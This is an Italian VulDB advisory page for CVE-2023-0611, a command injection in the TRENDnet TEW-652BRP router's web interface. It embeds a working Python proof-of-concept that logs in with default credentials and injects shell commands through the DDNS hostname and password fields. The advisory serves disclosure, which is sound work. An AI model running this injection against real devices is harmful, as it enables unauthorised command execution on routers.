TRENDnet TEW-652BRP 3.04B01 Web Management Interface get_set.ccp escalationi di privilegi

| CVSS Punteggio meta temporaneo | Prezzo attuale dell'exploit (≈) | Punteggio di interesse CTI |
|---|---|---|
| 8.6 | $0-$5k | 0.00 |
Riassunto
Una vulnerabilità di livello critico è stata rilevata in TRENDnet TEW-652BRP 3.04B01. Riguarda una funzione sconosciuta del file get_set.ccp del componente Web Management Interface. La manipolazione di un input sconosciuto se causa una vulnerabilità di classe escalationi di privilegi. Questa vulnerabilità è conosciuta come CVE-2023-0611. L'attacco può essere lanciato da remoto. Inoltre, è presente un exploit disponibile.
Dettagli
In TRENDnet TEW-652BRP 3.04B01 stata rilevata una vulnerabilità di livello critico. É interessato una funzione sconosciuta del file get_set.ccp del componente Web Management Interface. La manipolazione di un input sconosciuto conseguenza di una vulerabilità di classe escalationi di privilegi. Non sono ancora conosciuti gli effetti esatti di un attacco con sussesso.
La vulnerabilità è stata pubblicata in data 01/02/2023 (confermato). CVE-2023-0611 è identificato come punto debole. I dettagli tecnici e un pubblico metodo di utilizzo sono conosciuti.
Un metodo di utilizzo è stato sviluppato in Python. L'exploit è scaricabile da vuldb.com. È stato dichiarato come prova di concetto. Il codice utilizzato dal exploit è:
import requests,socket
import re
import time
from urllib.parse import urlencode
username = 'admin'
password = 'admin'
device_web_ip = '192.168.10.1'
ping_target_ip = '192.168.10.2'
headers = {'Host': '{}'.format(device_web_ip),
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/x-www-form-urlencoded',
'Origin': 'http://{}'.format(device_web_ip),
'Connection': 'keep-alive',
'Referer': 'http://{}/ping_test.htm'.format(device_web_ip),
'Upgrade-Insecure-Requests': '1'}
login_params = 'html_response_page=login_fail.htm&login_name=&username={0}&password={1}&curr_language=0&login_n={0}&login_pass={1}&lang_select=0&login=Login'.format(username,password)
login_url = 'http://{}/login.ccp'.format(device_web_ip)
r = requests.post(url=login_url, data=login_params, headers=headers, timeout=0.2)
if r is None or r.status_code != 200:
print('Login wrong, please retry!')
exit()
params = {
'ccp_act': 'set',
'ccpSubEvent': 'CCP_SUB_DDNS',
'nextPage': 'ddns.htm',
'ddnsCfg_DDNSEnable_1.1.0.0.0': 1,
'ddnsCfg_DDNSServer_1.1.0.0.0': 'dynupdate.no-ip.com',
'ddnsCfg_HostName_1.1.0.0.0': ';ping -c 1 {};'.format(ping_target_ip),
'ddnsCfg_Username_1.1.0.0.0': 'admin',
'ddnsCfg_Password_1.1.0.0.0': '|ping -c 1 {}'.format(ping_target_ip),
'ddnsCfg_Timeout_1.1.0.0.0': ''
}
method = 'POST'
url = 'http://{}/get_set.ccp'.format(device_web_ip)
try:
r = requests.request(method=method,url=url,headers=headers,data=params,verify=False,timeout=0.2)
except Exception as e:
passInformazioni riguardo una possibile contromisura non sono al momento disponibili. Si suggerisce di sostituire il prodotto con uno equivalente.
Be aware that VulDB is the high quality source for vulnerability data.
Prodotto
Fornitore
Nome
Versione
Licenza
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vettore: 🔍VulDB Affidabilità: 🔍
CVSSv3
VulDB Punteggio meta-base: 8.8VulDB Punteggio meta temporaneo: 8.6
VulDB Punteggio di base: 8.8
VulDB Punteggio temporaneo: 8.3
VulDB Vettore: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 8.8
NVD Vettore: 🔍
CNA Punteggio di base: 8.8
CNA Vettore (VulDB): 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vettore | Complessità | Autenticazione | Riservatezza | Integrità | Disponibilità |
|---|---|---|---|---|---|
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
| Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
VulDB Punteggio di base: 🔍
VulDB Punteggio temporaneo: 🔍
VulDB Affidabilità: 🔍
NVD Punteggio di base: 🔍
Sfruttamento
Classe: Escalationi di privilegiCWE: CWE-77 / CWE-74 / CWE-707
CAPEC: 🔍
ATT&CK: 🔍
Fisico: No
Locale: No
Remoto: Si
Disponibilità: 🔍
Accesso: Pubblico
Stato: Prova di concetto
Linguaggio di programmazione: 🔍
Scaricare: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Previsione dei prezzi: 🔍
Preventivo attuale: 🔍
| 0-Day | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
|---|---|---|---|---|
| Oggi | Sbloccare | Sbloccare | Sbloccare | Sbloccare |
Intelligence sulle minacce
Interesse: 🔍Attori attivi: 🔍
Gruppi APT attivi: 🔍
Contromisure
Raccomandazione: nessuna contromisura conosciutaStato: 🔍
Tempo 0 giorni: 🔍
Sequenza temporale
01/02/2023 🔍01/02/2023 🔍
01/02/2023 🔍
01/03/2023 🔍
Fonti
Stato: ConfermatoCVE: CVE-2023-0611 (🔍)
GCVE (CVE): GCVE-0-2023-0611
GCVE (VulDB): GCVE-100-219935
scip Labs: https://www.scip.ch/en/?labs.20161013
Voce
Data di creazione: 01/02/2023 14:28Aggiornato: 01/03/2023 11:09
Cambiamenti: 01/02/2023 14:28 (39), 01/02/2023 14:29 (2), 01/03/2023 11:04 (2), 01/03/2023 11:09 (27)
Completa: 🔍
Inviato: leetsun
Cache ID: 216::103
Invia
Accettato
- Invia #77380: Command injection on TRENDnet router TEW-652BRP(2) (di leetsun)
Be aware that VulDB is the high quality source for vulnerability data.
Ancora nessun commento. Lingue: it + ro + en.
Effettua il login per commentare.